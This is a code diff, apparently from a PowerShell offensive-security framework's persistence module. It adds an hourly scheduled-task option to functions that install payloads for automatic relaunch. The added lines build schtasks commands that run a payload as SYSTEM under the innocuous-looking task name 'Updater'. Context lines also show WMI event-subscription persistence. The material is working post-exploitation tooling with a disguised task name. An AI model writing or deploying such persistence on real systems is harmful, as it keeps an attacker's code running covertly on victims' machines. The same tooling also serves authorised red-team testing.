@@ -55,6 +55,10 @@ function New-ElevatedPersistenceOption
55
55
56
56
Starts the payload daily.
57
57
58
+ . PARAMETER Hourly
59
+
60
+ Starts the payload hourly.
61
+
58
62
. PARAMETER At
59
63
60
64
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
@@ -83,6 +87,7 @@ function New-ElevatedPersistenceOption
83
87
$PermanentWMI ,
84
88
85
89
[Parameter ( ParameterSetName = ' ScheduledTaskDaily' , Mandatory = $True )]
90
+ [Parameter ( ParameterSetName = ' ScheduledTaskHourly' , Mandatory = $True )]
86
91
[Parameter ( ParameterSetName = ' ScheduledTaskAtLogon' , Mandatory = $True )]
87
92
[Parameter ( ParameterSetName = ' ScheduledTaskOnIdle' , Mandatory = $True )]
88
93
[Switch ]
@@ -97,6 +102,10 @@ function New-ElevatedPersistenceOption
97
102
[Switch ]
98
103
$Daily ,
99
104
105
+ [Parameter ( ParameterSetName = ' ScheduledTaskHourly' , Mandatory = $True )]
106
+ [Switch ]
107
+ $Hourly ,
108
+
100
109
[Parameter ( ParameterSetName = ' PermanentWMIDaily' , Mandatory = $True )]
101
110
[Parameter ( ParameterSetName = ' ScheduledTaskDaily' , Mandatory = $True )]
102
111
[DateTime ]
@@ -156,6 +165,12 @@ function New-ElevatedPersistenceOption
156
165
$PersistenceOptionsTable [' Time' ] = $At
157
166
}
158
167
168
+ ' ScheduledTaskHourly'
169
+ {
170
+ $PersistenceOptionsTable [' Method' ] = ' ScheduledTask'
171
+ $PersistenceOptionsTable [' Trigger' ] = ' Hourly'
172
+ }
173
+
159
174
' Registry'
160
175
{
161
176
$PersistenceOptionsTable [' Method' ] = ' Registry'
@@ -214,6 +229,10 @@ function New-UserPersistenceOption
214
229
215
230
Starts the payload daily.
216
231
232
+ . PARAMETER Hourly
233
+
234
+ Starts the payload hourly.
235
+
217
236
. PARAMETER At
218
237
219
238
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
@@ -233,6 +252,7 @@ function New-UserPersistenceOption
233
252
234
253
[CmdletBinding ()] Param (
235
254
[Parameter ( ParameterSetName = ' ScheduledTaskDaily' , Mandatory = $True )]
255
+ [Parameter ( ParameterSetName = ' ScheduledTaskHourly' , Mandatory = $True )]
236
256
[Parameter ( ParameterSetName = ' ScheduledTaskOnIdle' , Mandatory = $True )]
237
257
[Switch ]
238
258
$ScheduledTask ,
@@ -245,6 +265,10 @@ function New-UserPersistenceOption
245
265
[Switch ]
246
266
$Daily ,
247
267
268
+ [Parameter ( ParameterSetName = ' ScheduledTaskHourly' , Mandatory = $True )]
269
+ [Switch ]
270
+ $Hourly ,
271
+
248
272
[Parameter ( ParameterSetName = ' ScheduledTaskDaily' , Mandatory = $True )]
249
273
[DateTime ]
250
274
$At ,
@@ -285,6 +309,12 @@ function New-UserPersistenceOption
285
309
$PersistenceOptionsTable [' Time' ] = $At
286
310
}
287
311
312
+ ' ScheduledTaskHourly'
313
+ {
314
+ $PersistenceOptionsTable [' Method' ] = ' ScheduledTask'
315
+ $PersistenceOptionsTable [' Trigger' ] = ' Hourly'
316
+ }
317
+
288
318
' Registry'
289
319
{
290
320
$PersistenceOptionsTable [' Method' ] = ' Registry'
@@ -574,6 +604,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
574
604
$ElevatedTrigger = " schtasks /Create /RU system /SC DAILY /ST $ ( $ElevatedPersistenceOption.Time.ToString (' HH:mm:ss' )) /TN Updater /TR "
575
605
}
576
606
607
+ ' Hourly'
608
+ {
609
+ $ElevatedTrigger = " schtasks /Create /RU system /SC HOURLY /TN Updater /TR "
610
+ }
611
+
577
612
' OnIdle'
578
613
{
579
614
$ElevatedTrigger = " schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR "
@@ -617,6 +652,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
617
652
$UserTrigger = " schtasks /Create /SC DAILY /ST $ ( $UserPersistenceOption.Time.ToString (' HH:mm:ss' )) /TN Updater /TR "
618
653
}
619
654
655
+ ' Hourly'
656
+ {
657
+ $UserTrigger = " schtasks /Create /SC HOURLY /TN Updater /TR "
658
+ }
659
+
620
660
' OnIdle'
621
661
{
622
662
$UserTrigger = " schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "
0 commit comments